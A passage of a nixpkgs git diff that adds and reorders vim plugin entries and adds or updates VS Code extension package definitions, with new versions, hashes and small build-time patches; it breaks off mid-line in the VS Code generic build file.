https://github.com/Olical/aniseed/,, https://github.com/pearofducks/ansible-vim/,, https://github.com/ckarnell/antonys-macro-repeater/,, https://github.com/solarnz/arcanist.vim/,, https://github.com/vim-scripts/argtextobj.vim/,, +https://github.com/AstroNvim/astrotheme/,, https://github.com/prabirshrestha/async.vim/,, https://github.com/prabirshrestha/asyncomplete-buffer.vim/,HEAD, https://github.com/prabirshrestha/asyncomplete-file.vim/,HEAD, @@ -73,16 +75,20 @@ https://github.com/jiangmiao/auto-pairs/,, https://github.com/pocco81/auto-save.nvim/,HEAD, https://github.com/rmagatti/auto-session/,, https://github.com/m4xshen/autoclose.nvim/,HEAD, +https://github.com/gaoDean/autolist.nvim/,, https://github.com/vim-scripts/autoload_cscope.vim/,, https://github.com/nullishamy/autosave.nvim/,HEAD, https://github.com/rafi/awesome-vim-colorschemes/,, +https://github.com/AhmedAbdulrahman/aylin.vim/,, https://github.com/ayu-theme/ayu-vim/,, https://github.com/taybart/b64.nvim/,HEAD, +https://github.com/m00qek/baleia.nvim/,HEAD, +https://github.com/ribru17/bamboo.nvim/,, https://github.com/romgrk/barbar.nvim/,, https://github.com/utilyre/barbecue.nvim/,, +https://github.com/RRethy/base16-nvim/,, https://github.com/chriskempson/base16-vim/,, https://github.com/nvchad/base46/,HEAD, -https://github.com/IogaMaster/neocord.git,main, https://github.com/jamespwilliams/bat.vim/,HEAD, https://github.com/vim-scripts/bats.vim/,, https://github.com/rbgrouleff/bclose.vim/,, @@ -91,6 +97,8 @@ https://github.com/LunarVim/bigfile.nvim/,, https://github.com/APZelos/blamer.nvim/,HEAD, https://github.com/HampusHauffman/block.nvim/,HEAD, https://github.com/blueballs-theme/blueballs-neovim/,, +https://github.com/uloco/bluloco.nvim/,, +https://github.com/rockerBOO/boo-colorscheme-nvim/,, https://github.com/nat-418/boole.nvim/,HEAD, https://github.com/turbio/bracey.vim/,, https://github.com/fruit-in/brainfuck-vim/,, @@ -110,6 +118,7 @@ https://github.com/vim-scripts/changeColorScheme.vim/,, https://github.com/sudormrfbin/cheatsheet.nvim/,, https://github.com/yunlingz/ci_dark/,, https://github.com/projekt0n/circles.nvim/,, +https://github.com/zootedb0t/citruszest.nvim/,, https://github.com/xavierd/clang_complete/,, https://github.com/p00f/clangd_extensions.nvim/,HEAD, https://github.com/rhysd/clever-f.vim/,, @@ -164,6 +173,7 @@ https://github.com/pontusk/cmp-vimwiki-tags/,HEAD, https://github.com/hrsh7th/cmp-vsnip/,, https://github.com/tamago324/cmp-zsh/,HEAD, https://github.com/saadparwaiz1/cmp_luasnip/,, +https://github.com/lalitmee/cobalt2.nvim/,, https://github.com/vn-ki/coc-clap/,, https://github.com/neoclide/coc-denite/,, https://github.com/antoinemadec/coc-fzf/,, @@ -215,10 +225,12 @@ https://github.com/JazzCore/ctrlp-cmatcher/,, https://github.com/FelikZ/ctrlp-py-matcher/,, https://github.com/amiorin/ctrlp-z/,, https://github.com/ctrlpvim/ctrlp.vim/,, +https://github.com/scottmckendry/cyberdream.nvim/,, https://github.com/dart-lang/dart-vim-plugin/,, https://github.com/rizzatti/dash.vim/,HEAD, https://github.com/glepnir/dashboard-nvim/,, https://github.com/andrewferrier/debugprint.nvim/,HEAD, +https://github.com/Verf/deepwhite.nvim/,, https://github.com/kristijanhusak/defx-git/,, https://github.com/kristijanhusak/defx-icons/,, https://github.com/Shougo/defx.nvim/,, @@ -256,6 +268,7 @@ https://github.com/elihunter173/dirbuf.nvim/,HEAD, https://github.com/direnv/direnv.vim/,, https://github.com/chipsenkbeil/distant.nvim/,HEAD, https://github.com/doki-theme/doki-theme-vim/,, +https://github.com/NTBBloodbath/doom-one.nvim/,, https://github.com/Mofiqul/dracula.nvim/,HEAD, https://github.com/stevearc/dressing.nvim/,, https://github.com/Bekaboo/dropbar.nvim/,HEAD, @@ -272,6 +285,7 @@ https://github.com/dmix/elvish.vim/,, https://github.com/mattn/emmet-vim/,, https://github.com/vim-scripts/emodeline/,, https://github.com/vim-scripts/errormarker.vim/,, +https://github.com/hachy/eva01.vim/,, https://github.com/sainnhe/everforest/,, https://github.com/google/executor.nvim/,HEAD, https://github.com/jinh0/eyeliner.nvim/,HEAD, @@ -290,6 +304,7 @@ https://github.com/glacambre/firenvim/,HEAD, https://github.com/andviro/flake8-vim/,, https://github.com/folke/flash.nvim/,HEAD, https://github.com/willothy/flatten.nvim/,HEAD, +https://github.com/felipeagc/fleet-theme-nvim/,, https://github.com/ggandor/flit.nvim/,HEAD, https://github.com/ncm2/float-preview.nvim/,, https://github.com/liangxianzhe/floating-input.nvim/,HEAD, @@ -335,6 +350,7 @@ https://github.com/rmagatti/goto-preview/,, https://github.com/junegunn/goyo.vim/,, https://github.com/brymer-meneses/grammar-guard.nvim/,HEAD, https://github.com/liuchengxu/graphviz.vim/,, +https://github.com/blazkowolf/gruber-darker.nvim/,, https://github.com/gruvbox-community/gruvbox/,,gruvbox-community https://github.com/morhetz/gruvbox/,, https://github.com/eddyekofo94/gruvbox-flat.nvim/,, @@ -473,6 +489,8 @@ https://github.com/kaicataldo/material.vim/,HEAD, https://github.com/vim-scripts/mayansmoke/,, https://github.com/chikamichi/mediawiki.vim/,HEAD, https://github.com/savq/melange-nvim/,, +https://github.com/xero/miasma.nvim/,, +https://github.com/dasupradyumna/midnight.nvim/,, https://github.com/phaazon/mind.nvim/,HEAD, https://github.com/echasnovski/mini.nvim/,, https://github.com/wfxr/minimap.vim/,, @@ -512,6 +530,7 @@ https://github.com/Shougo/neco-vim/,, https://github.com/nvim-neo-tree/neo-tree.nvim/,HEAD, https://github.com/Shougo/neocomplete.vim/,, https://github.com/folke/neoconf.nvim/,HEAD, +https://github.com/IogaMaster/neocord/,main, https://github.com/KeitaNakamura/neodark.vim/,, https://github.com/folke/neodev.nvim/,HEAD, https://github.com/sbdchd/neoformat/,, @@ -558,14 +577,19 @@ https://github.com/oberblastmeister/neuron.nvim/,, https://github.com/fiatjaf/neuron.vim/,, https://github.com/Olical/nfnl/,main, https://github.com/chr4/nginx.vim/,, +https://github.com/oxfist/night-owl.nvim/,, https://github.com/EdenEast/nightfox.nvim/,, +https://github.com/Alexis12119/nightly.nvim/,, https://github.com/zah/nim.vim/,, https://github.com/figsoda/nix-develop.nvim/,HEAD, https://github.com/tamago324/nlsp-settings.nvim/,main, https://github.com/mcchrish/nnn.vim/,, +https://github.com/aktersnurra/no-clown-fiesta.nvim/,, https://github.com/shortcuts/no-neck-pain.nvim/,HEAD, +https://github.com/kartikp10/noctis.nvim/,, https://github.com/folke/noice.nvim/,HEAD, https://github.com/nvimtools/none-ls.nvim/,HEAD, +https://github.com/gbprod/nord.nvim/,,gbprod-nord https://github.com/shaunsingh/nord.nvim/,, https://github.com/andersevenrud/nordic.nvim/,, https://github.com/vigoux/notifier.nvim/,HEAD, @@ -574,13 +598,12 @@ https://github.com/MunifTanjim/nui.nvim/,main, https://github.com/jose-elias-alvarez/null-ls.nvim/,, https://github.com/nacro90/numb.nvim/,, https://github.com/nvchad/nvchad/,HEAD, -https://github.com/altermo/ultimate-autopair.nvim.git,HEAD, https://github.com/ChristianChiarulli/nvcode-color-schemes.vim/,, https://github.com/catppuccin/nvim/,,catppuccin-nvim https://github.com/AckslD/nvim-FeMaco.lua/,HEAD, https://github.com/nathanmsmith/nvim-ale-diagnostic/,, https://github.com/windwp/nvim-autopairs/,, -https://github.com/RRethy/nvim-base16/,, +https://github.com/Canop/nvim-bacon/,HEAD, https://github.com/code-biscuits/nvim-biscuits/,HEAD, https://github.com/kevinhwang91/nvim-bqf/,, https://github.com/ojroques/nvim-bufdel/,, @@ -674,10 +697,12 @@ https://github.com/mhartington/oceanic-next/,, https://github.com/pwntester/octo.nvim/,, https://github.com/stevearc/oil.nvim/,HEAD, https://github.com/nomnivore/ollama.nvim/,HEAD, +https://github.com/yonlu/omni.vim/,, https://github.com/Hoffs/omnisharp-extended-lsp.nvim/,HEAD, https://github.com/Th3Whit3Wolf/one-nvim/,, https://github.com/navarasu/onedark.nvim/,, https://github.com/joshdick/onedark.vim/,, +https://github.com/LunarVim/onedarker.nvim/,, https://github.com/olimorris/onedarkpro.nvim/,, https://github.com/sonph/onehalf/,, https://github.com/rmehri01/onenord.nvim/,main, @@ -693,6 +718,7 @@ https://github.com/nyoom-engineering/oxocarbon.nvim/,HEAD, https://github.com/vuki656/package-info.nvim/,, https://github.com/wbthomason/packer.nvim/,, https://github.com/drewtempelmeyer/palenight.vim/,, +https://github.com/JoosepAlviste/palenightfall.nvim/,, https://github.com/roobert/palette.nvim/,HEAD, https://github.com/NLKNguyen/papercolor-theme/,, https://github.com/tmsvg/pear-tree/,, @@ -795,11 +821,13 @@ https://github.com/srcery-colors/srcery-vim/,, https://github.com/chr4/sslsecure.vim/,, https://github.com/cshuaimin/ssr.nvim/,HEAD, https://github.com/luukvbaal/stabilize.nvim/,, +https://github.com/tamton-aquib/staline.nvim/,main, https://github.com/eigenfoo/stan-vim/,, https://github.com/josegamez82/starrynight/,HEAD, https://github.com/darfink/starsearch.vim/,, https://github.com/startup-nvim/startup.nvim/,HEAD, https://github.com/luukvbaal/statuscol.nvim/,, +https://github.com/folke/styler.nvim/,, https://github.com/teto/stylish.nvim/,HEAD, https://github.com/gbprod/substitute.nvim/,HEAD, https://github.com/kvrohit/substrata.nvim/,HEAD, @@ -890,6 +918,7 @@ https://github.com/leafgarland/typescript-vim/,, https://github.com/jose-elias-alvarez/typescript.nvim/,, https://github.com/kaarmu/typst.vim/,HEAD, https://github.com/nvchad/ui/,HEAD,nvchad-ui +https://github.com/altermo/ultimate-autopair.nvim/,HEAD, https://github.com/SirVer/ultisnips/,, https://github.com/mbbill/undotree/,, https://github.com/chrisbra/unicode.vim/,, @@ -1076,6 +1105,7 @@ https://github.com/GEverding/vim-hocon/,, https://github.com/Twinside/vim-hoogle/,, https://github.com/ntk148v/vim-horizon/,, https://github.com/jonsmithers/vim-html-template-literals/,, +https://github.com/humanoid-colors/vim-humanoid-colorscheme/,, https://github.com/vim-utils/vim-husk/,, https://github.com/w0ng/vim-hybrid/,, https://github.com/kristijanhusak/vim-hybrid-material/,, @@ -1260,6 +1290,7 @@ https://github.com/svermeulen/vim-subversive/,, https://github.com/tpope/vim-surround/,, https://github.com/evanleck/vim-svelte/,, https://github.com/machakann/vim-swap/,, +https://github.com/TabbyML/vim-tabby/,HEAD, https://github.com/dhruvasagar/vim-table-mode/,, https://github.com/kana/vim-tabpagecd/,, https://github.com/tpope/vim-tbone/,, @@ -1365,6 +1396,7 @@ https://github.com/KabbAmine/zeavim.vim/,, https://github.com/folke/zen-mode.nvim/,, https://github.com/mcchrish/zenbones.nvim/,HEAD, https://github.com/jnurmine/zenburn/,, +https://github.com/phha/zenburn.nvim/,,phha-zenburn https://github.com/glepnir/zephyr-nvim/,, https://github.com/ziglang/zig.vim/,, https://github.com/mickael-menu/zk-nvim/,HEAD, diff --git a/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix b/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix index b6273ff3a5848..9c82b2ef60f8e 100644 --- a/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix +++ b/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix @@ -1,6 +1,6 @@ { lib, stdenv, vscode-utils, callPackage }: let - version = "1.16.0"; + version = "1.42.0"; rescript-editor-analysis = callPackage ./rescript-editor-analysis.nix { inherit version; }; arch = if stdenv.isLinux then "linux" @@ -13,7 +13,7 @@ vscode-utils.buildVscodeMarketplaceExtension rec { name = "rescript-vscode"; publisher = "chenglou92"; inherit version; - sha256 = "sha256-JoC9+NkbLAZXkOKDDMB0Xgzmn+w90pHcokerMrdACi4="; + sha256 = "sha256-Po7zuppr8EHSfg2sDzkNn0KARncsiNVPoRsd25zc/xg="; }; postPatch = '' rm -r ${analysisDir} diff --git a/pkgs/applications/editors/vscode/extensions/contextmapper.context-mapper-vscode-extension/default.nix b/pkgs/applications/editors/vscode/extensions/contextmapper.context-mapper-vscode-extension/default.nix index 077b522b59e28..6d5e53be1cbfa 100644 --- a/pkgs/applications/editors/vscode/extensions/contextmapper.context-mapper-vscode-extension/default.nix +++ b/pkgs/applications/editors/vscode/extensions/contextmapper.context-mapper-vscode-extension/default.nix @@ -9,8 +9,8 @@ vscode-utils.buildVscodeMarketplaceExtension rec { mktplcRef = { name = "context-mapper-vscode-extension"; publisher = "contextmapper"; - version = "6.7.0"; - sha256 = "sha256-vlDVqn1Je0eo5Nf2gyotSvhIa07tWCINe79RZSyMzcA="; + version = "6.11.0"; + sha256 = "sha256-TvApcBBI+Egu7t4tJuEYTs6mhvABOY2eXVb57O4gWfs="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix index 322e9c5839302..f630e058f6052 100644 --- a/pkgs/applications/editors/vscode/extensions/default.nix +++ b/pkgs/applications/editors/vscode/extensions/default.nix @@ -98,6 +98,23 @@ let }; }; + aaron-bond.better-comments = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "better-comments"; + publisher = "aaron-bond"; + version = "3.0.2"; + sha256 = "850980f0f5a37f635deb4bf9100baaa83f0b204bbbb25acdb3c96e73778f8197"; + }; + meta = { + changelog = "https://marketplace.visualstudio.com/items/aaron-bond.better-comments/changelog"; + description = "Improve your code commenting by annotating with alert, informational, TODOs, and more!"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=aaron-bond.better-comments"; + homepage = "https://github.com/aaron-bond/better-comments"; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.DataHearth ]; + }; + }; + adpyke.codesnap = buildVscodeMarketplaceExtension { mktplcRef = { name = "codesnap"; @@ -173,6 +190,23 @@ let }; }; + alexisvt.flutter-snippets = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "flutter-snippets"; + publisher = "alexisvt"; + version = "3.0.0"; + sha256 = "44ac46f826625f0a4aec40f2542f32c161e672ff96f45a548d0bccd9feed04ef"; + }; + meta = { + changelog = "https://marketplace.visualstudio.com/items/alexisvt.flutter-snippets/changelog"; + description = "A set of helpful widget snippets for day to day Flutter development"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=alexisvt.flutter-snippets"; + homepage = "https://github.com/Alexisvt/flutter-snippets"; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.DataHearth ]; + }; + }; + alygin.vscode-tlaplus = buildVscodeMarketplaceExtension { mktplcRef = { name = "vscode-tlaplus"; @@ -753,22 +787,57 @@ let }; charliermarsh.ruff = buildVscodeMarketplaceExtension { - mktplcRef = { + mktplcRef = let + sources = { + "x86_64-linux" = { + arch = "linux-x64"; + sha256 = "sha256-2c0tH/MlDOqeyffcV8ZCy4woogBTcf1GCuPPO8JXaWc="; + }; + "x86_64-darwin" = { + arch = "darwin-x64"; + sha256 = "sha256-euvGIlO7931N56R5BWKu3F9nSEoDgf+DXk7Hgl1qSUw="; + }; + "aarch64-linux" = { + arch = "linux-arm64"; + sha256 = "sha256-dGpIHChnfrQbxRZDuoAi4imgStyyPdxdvTQ3lknMYu0="; + }; + "aarch64-darwin" = { + arch = "darwin-arm64"; + sha256 = "sha256-tElX4C0I5AmpxSHMtqOsxSAUImD1tqArB5fnvhw4LFc="; + }; + }; + in { name = "ruff"; publisher = "charliermarsh"; - version = "2023.60.0"; - sha256 = "sha256-qgwud2gzHLHID45VxDlngFMoks5O3pTHQe+Q7bdf8+I="; - }; + version = "2024.4.0"; + } // sources.${stdenv.system} or (throw "Unsupported system ${stdenv.system}"); meta = { license = lib.licenses.mit; - changelog = "https://github.com/astral-sh/ruff-vscode/releases"; - description = "Ruff extension for Visual Studio Code"; + changelog = "https://marketplace.visualstudio.com/items/charliermarsh.ruff/changelog"; + description = "A Visual Studio Code extension with support for the Ruff linter."; downloadPage = "https://marketplace.visualstudio.com/items?itemName=charliermarsh.ruff"; - homepage = "https://github.com/astral-sh/ruff-vscode/"; + homepage = "https://github.com/astral-sh/ruff-vscode"; maintainers = [ lib.maintainers.azd325 ]; }; }; + christian-kohler.npm-intellisense = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "npm-intellisense"; + publisher = "christian-kohler"; + version = "1.4.5"; + sha256 = "962b851a7cafbd51f34afeb4a0b91e985caff3947e46218a12b448533d8f60ab"; + }; + meta = { + changelog = "https://marketplace.visualstudio.com/items/christian-kohler.npm-intellisense/changelog"; + description = "Visual Studio Code plugin that autocompletes npm modules in import statements"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=christian-kohler.npm-intellisense"; + homepage = "https://github.com/ChristianKohler/NpmIntellisense"; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.DataHearth ]; + }; + }; + chenglou92.rescript-vscode = callPackage ./chenglou92.rescript-vscode { }; chris-hayes.chatgpt-reborn = buildVscodeMarketplaceExtension { @@ -886,6 +955,54 @@ let contextmapper.context-mapper-vscode-extension = callPackage ./contextmapper.context-mapper-vscode-extension { }; + continue.continue = buildVscodeMarketplaceExtension { + mktplcRef = + let + sources = { + "x86_64-linux" = { + arch = "linux-x64"; + sha256 = "05kh6sf3jv3510q33chf8s5n1kfp9wcm7650va7mcrdkfr9g8ysq"; + }; + "x86_64-darwin" = { + arch = "darwin-x64"; + sha256 = "0242h9kq47qvs1xynr5x8dzxkc5pwgb6km0iqpyy9kydg8ng1vp3"; + }; + "aarch64-linux" = { + arch = "linux-arm64"; + sha256 = "1qm3f2lh8mi3hnyp2bmx7j2lir6fmbbxkzh6b8zf579khhbapnaz"; + }; + "aarch64-darwin" = { + arch = "darwin-arm64"; + sha256 = "18w22z1c5qgkpw2zlwmi9gs9dx1pcm51f0r8my7ynnvgl6mp12sg"; + }; + }; + in + { + name = "continue"; + publisher = "Continue"; + version = "0.8.12"; + } // sources.${stdenv.system}; + nativeBuildInputs = [ + autoPatchelfHook + ]; + buildInputs = [ + stdenv.cc.cc.lib + ]; + postInstall = '' + cd "$out/$installPrefix" + substituteInPlace "out/extension.js" \ + --replace-fail 'await showTutorial();' '//await showTutorial();' + ''; + meta = { + description = "Open-source autopilot for software development - bring the power of ChatGPT to your IDE"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=Continue.continue"; + homepage = "https://github.com/continuedev/continue"; + license = lib.licenses.asl20; + maintainers = [ lib.maintainers.raroh73 ]; + platforms = [ "x86_64-linux" "x86_64-darwin" "aarch64-darwin" "aarch64-linux" ]; + }; + }; + coolbear.systemd-unit-file = buildVscodeMarketplaceExtension { mktplcRef = { publisher = "coolbear"; @@ -1252,6 +1369,40 @@ let }; }; + earthly.earthfile-syntax-highlighting = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "earthfile-syntax-highlighting"; + publisher = "earthly"; + version = "0.0.16"; + sha256 = "c54d6fd4d2f503a1031be92ff118b5eb1b997907511734e730e08b1a90a6960f"; + }; + meta = { + changelog = "https://marketplace.visualstudio.com/items/earthly.earthfile-syntax-highlighting/changelog"; + description = "Syntax highlighting for Earthly build Earthfiles."; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=earthly.earthfile-syntax-highlighting"; + homepage = "https://github.com/earthly/earthfile-grammar"; + license = lib.licenses.mpl20; + maintainers = [ lib.maintainers.DataHearth ]; + }; + }; + + ecmel.vscode-html-css = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "vscode-html-css"; + publisher = "ecmel"; + version = "2.0.9"; + sha256 = "7c30d57d2ff9986bd5daa2c9f51ec4bb04239ca23a51e971a63f7b93d005d297"; + }; + meta = { + changelog = "https://marketplace.visualstudio.com/items/ecmel.vscode-html-css/changelog"; + description = "CSS Intellisense for HTML"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=ecmel.vscode-html-css"; + homepage = "https://github.com/ecmel/vscode-html-css"; + license = lib.licenses.mit; + maintainers = [ lib.maintainers.DataHearth ]; + }; + }; + editorconfig.editorconfig = buildVscodeMarketplaceExtension { mktplcRef = { name = "EditorConfig"; @@ -1297,8 +1448,8 @@ let mktplcRef = { name = "elixir-ls"; publisher = "JakeBecker"; - version = "0.19.0"; - sha256 = "sha256-31eenBOVUEY3MFaVmAjZsypr7U0d6IfVR3ZJfDqi3OY="; + version = "0.20.0"; + sha256 = "sha256-p+YNBRzzA/EezBMxI5Rmdb8SdJgFV7QwuLVi1mcJV+E="; }; meta = { changelog = "https://marketplace.visualstudio.com/items/JakeBecker.elixir-ls/changelog"; @@ -1371,22 +1522,7 @@ let }; }; - equinusocio.vsc-material-theme = buildVscodeMarketplaceExtension { - mktplcRef = { - name = "vsc-material-theme"; - publisher = "Equinusocio"; - version = "33.8.0"; - sha256 = "sha256-+I4AUwsrElT62XNvmuAC2iBfHfjNYY0bmAqzQvfwUYM="; - }; - meta = { - changelog = "https://marketplace.visualstudio.com/items/Equinusocio.vsc-material-theme/changelog"; - description = "The most epic theme now for Visual Studio Code"; - downloadPage = "https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme"; - homepage = "https://github.com/material-theme/vsc-material-theme"; - license = lib.licenses.asl20; - maintainers = [ lib.maintainers.stunkymonkey ]; - }; - }; + equinusocio.vsc-material-theme = callPackage ./equinusocio.vsc-material-theme { }; esbenp.prettier-vscode = buildVscodeMarketplaceExtension { mktplcRef = { @@ -2220,6 +2356,16 @@ let }; }; + karunamurti.haml = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "haml"; + publisher = "karunamurti"; + version = "1.4.1"; + sha256 = "123cwfajakkg2pr0z4v289fzzlhwbxx9dvb5bjc32l3pzvbhq4gv"; + }; + meta.license = lib.licenses.mit; + }; + kddejong.vscode-cfn-lint = let inherit (python3Packages) cfn-lint pydot; @@ -2411,8 +2557,8 @@ let mktplcRef = { name = "typst-preview"; publisher = "mgt19937"; - version = "0.10.5"; - sha256 = "sha256-cR5Pyokzmf8dNlsUkcwwfPx3jtJCQHRwTpYk78ovgrM="; + version = "0.10.8"; + sha256 = "sha256-Ad6eCAuueeAeh6z/kk/F2HhbV4tp/XmiGySA2fn5wqY="; }; buildInputs = [ @@ -2487,6 +2633,23 @@ let }; }; + moshfeu.compare-folders = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "compare-folders"; + publisher = "moshfeu"; + version = "0.24.2"; + sha256 = "sha256-EiGuYRMN8bXq+Cya38U+dCX2W0wzIeP0yb39WBJaX1U="; + }; + + meta = { + changelog = "https://github.com/moshfeu/vscode-compare-folders/releases"; + description = "The extension allows you to compare folders, show the diffs in a list and present diff in a splitted view side by side"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=moshfeu.compare-folders"; + homepage = "https://github.com/moshfeu/vscode-compare-folders"; + license = lib.licenses.mit; + }; + }; + ms-azuretools.vscode-docker = buildVscodeMarketplaceExtension { mktplcRef = { name = "vscode-docker"; @@ -3177,6 +3340,23 @@ let }; }; + samuelcolvin.jinjahtml = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "jinjahtml"; + publisher = "samuelcolvin"; + version = "0.20.0"; + sha256 = "c000cbdc090b7d3d8df62a3c87a5d881c78aca5b490b3e591d9841d788a9aa93"; + }; + meta = with lib; { + description = "Syntax highlighting for jinja(2) including HTML, Markdown, YAML, Ruby and LaTeX templates"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=samuelcolvin.jinjahtml"; + homepage = "https://github.com/samuelcolvin/jinjahtml-vscode"; + changelog = "https://marketplace.visualstudio.com/items/samuelcolvin.jinjahtml/changelog"; + license = licenses.mit; + maintainers = [ maintainers.DataHearth ]; + }; + }; + sanaajani.taskrunnercode = buildVscodeMarketplaceExtension { mktplcRef = { name = "taskrunnercode"; @@ -3765,8 +3945,8 @@ let mktplcRef = { name = "uiua-vscode"; publisher = "uiua-lang"; - version = "0.0.27"; - sha256 = "sha256-wEY1FZjgiQJ7VrJGZX0SgZqz/14v//jxgrqdafLjIfM="; + version = "0.0.39"; + sha256 = "sha256-B+p5bIwVhzWAdKQPCGPlImQihYCeTtYFTlkZIkgWayk="; }; meta = { description = "VSCode language extension for Uiua"; @@ -3777,6 +3957,24 @@ let }; }; + uloco.theme-bluloco-light = buildVscodeMarketplaceExtension { + mktplcRef = { + name = "theme-bluloco-light"; + publisher = "uloco"; + version = "3.7.3"; + sha256 = "1il557x7c51ic9bjq7z431105m582kig9v2vpy3k2z3xhrbb0211"; + }; + postInstall = '' + rm -r $out/share/vscode/extensions/uloco.theme-bluloco-light/screenshots + ''; + meta = { + description = "A fancy but yet sophisticated light designer color scheme / theme for Visual Studio Code"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=uloco.theme-bluloco-light"; + homepage = "https://github.com/uloco/theme-bluloco-light"; + license = lib.licenses.lgpl3; + }; + }; + unifiedjs.vscode-mdx = buildVscodeMarketplaceExtension { mktplcRef = { name = "vscode-mdx"; diff --git a/pkgs/applications/editors/vscode/extensions/equinusocio.vsc-material-theme/default.nix b/pkgs/applications/editors/vscode/extensions/equinusocio.vsc-material-theme/default.nix new file mode 100644 index 0000000000000..8f2784c3704d2 --- /dev/null +++ b/pkgs/applications/editors/vscode/extensions/equinusocio.vsc-material-theme/default.nix @@ -0,0 +1,27 @@ +{ lib +, vscode-utils +}: + +vscode-utils.buildVscodeMarketplaceExtension { + mktplcRef = { + name = "vsc-material-theme"; + publisher = "Equinusocio"; + version = "34.3.1"; + sha256 = "sha256-3yxFTMtjJR1b4EzBDfm55HF9chrya5OUF5wN+KHEduE="; + }; + + # extensions wants to write at the /nix/store path, so we patch it to use the globalStorageUri instead. + prePatch = '' + substituteInPlace ./build/core/extension-manager.js \ + --replace-fail "path_1.posix.join(extensionFolderUri.path, env_1.USER_CONFIG_FILE_NAME)" "path_1.posix.join(ExtensionContext.globalStorageUri.fsPath, env_1.USER_CONFIG_FILE_NAME)" + ''; + + meta = with lib; { + changelog = "https://marketplace.visualstudio.com/items/Equinusocio.vsc-material-theme/changelog"; + description = "The most epic theme now for Visual Studio Code"; + downloadPage = "https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme"; + homepage = "https://github.com/material-theme/vsc-material-theme"; + license = licenses.asl20; + maintainers = with maintainers; [ stunkymonkey ]; + }; +} diff --git a/pkgs/applications/editors/vscode/extensions/ms-toolsai.jupyter/default.nix b/pkgs/applications/editors/vscode/extensions/ms-toolsai.jupyter/default.nix index 9d157bb7b2e0f..072d91a7505df 100644 --- a/pkgs/applications/editors/vscode/extensions/ms-toolsai.jupyter/default.nix +++ b/pkgs/applications/editors/vscode/extensions/ms-toolsai.jupyter/default.nix @@ -4,8 +4,8 @@ vscode-utils.buildVscodeMarketplaceExtension { mktplcRef = { name = "jupyter"; publisher = "ms-toolsai"; - version = "2023.2.1000411022"; - sha256 = "sha256-gMK/t/rLXYN3rlHxxVeW0W/FWEP0ZCiEwzM8DY14vYg="; + version = "2024.2.0"; + sha256 = "sha256-QavZ8NNeu0FHLvorhHybzfmdQqKnyXD6MYA8AzabPQw="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps/package.json b/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps/package.json index 0b2a6760a0862..c7fb097b2d77c 100644 --- a/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps/package.json +++ b/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps/package.json @@ -1,6 +1,6 @@ { "name": "rust-analyzer", - "version": "0.3.1697", + "version": "0.3.1850", "dependencies": { "@hpcc-js/wasm": "^2.13.0", "anser": "^2.1.1", @@ -9,10 +9,10 @@ "vscode-languageclient": "^8.1.0", "@tsconfig/strictest": "^2.0.1", "@types/node": "~16.11.7", - "@types/vscode": "~1.75", + "@types/vscode": "~1.78.1", "@typescript-eslint/eslint-plugin": "^6.0.0", "@typescript-eslint/parser": "^6.0.0", - "@vscode/test-electron": "^2.3.3", + "@vscode/test-electron": "^2.3.8", "@vscode/vsce": "^2.19.0", "eslint": "^8.44.0", "eslint-config-prettier": "^8.8.0", diff --git a/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/default.nix b/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/default.nix index 044c8274d4849..b978430868aa8 100644 --- a/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/default.nix +++ b/pkgs/applications/editors/vscode/extensions/rust-lang.rust-analyzer/default.nix @@ -20,13 +20,13 @@ let # Use the plugin version as in vscode marketplace, updated by update script. inherit (vsix) version; - releaseTag = "2023-10-16"; + releaseTag = "2024-02-19"; src = fetchFromGitHub { owner = "rust-lang"; repo = "rust-analyzer"; rev = releaseTag; - sha256 = "sha256-PWEdqI+iiHbx4dkIwWHZCGJuTpRfJI3MLSHf3gQEJt4="; + sha256 = "sha256-Oj/RPMridKpYt3eRqUIPg9YNrj6npG8THIGuWjsamnE="; }; build-deps = nodePackages."rust-analyzer-build-deps-../../applications/editors/vscode/extensions/rust-lang.rust-analyzer/build-deps"; @@ -39,9 +39,12 @@ let inherit releaseTag; nativeBuildInputs = [ - jq moreutils esbuild + jq + moreutils + esbuild # Required by `keytar`, which is a dependency of `vsce`. - pkg-config libsecret + pkg-config + libsecret ] ++ lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.AppKit darwin.apple_sdk.frameworks.Security diff --git a/pkgs/applications/editors/vscode/generic.nix b/pkgs/applications/editors/vscode/generic.nix index 5000393913c14..b7fe7d2712a66 100644 --- a/pkgs/applications/editors/vscode/generic.nix +++ b/pkgs/applications/editors/vscode/generic.nix @@ -150,7 +150,7 @@ in icon = "vs${executableName}"; startupNotify = true; categories = [ "Utility" "TextEditor" "Development" "IDE" ]; - mimeTypes = [ 